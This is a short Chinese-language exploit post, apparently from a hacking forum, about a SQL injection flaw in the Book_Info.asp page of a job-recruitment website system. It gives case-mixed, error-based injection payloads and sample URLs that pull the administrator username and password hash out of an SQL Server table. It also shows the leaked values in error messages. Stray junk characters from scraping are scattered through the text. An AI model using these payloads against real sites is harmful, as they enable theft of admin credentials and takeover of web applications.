网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出
  J8 `7 m9 r, o
; X) y- }7 D% p/ Cexp：如下
) g5 X4 Q3 P( u. s查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
/ t9 Z+ v: V2 D2 w5 ^# s查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
* u% }8 c0 X' c( M
9 C) @' v" F: z% W7 Lhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

  O+ T, P/ Q2 J6 C7 m8 @& i4 l; `. GMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
9 ~' R! ~& i8 f7 C$ f$ V. w% ]
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。

6 M" S0 y* v; [: R7 c: G4 Y/Educate/Book_Info.asp，行 8
9 m7 b6 e( U( ]. y  n3 z$ `( c
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)

* @( T& X7 C2 `  e0 ^  R* @Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

7 V" g( p0 D, S- N" h将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。

/Educate/Book_Info.asp，行 8
& b7 @/ q9 ]6 n; [# o​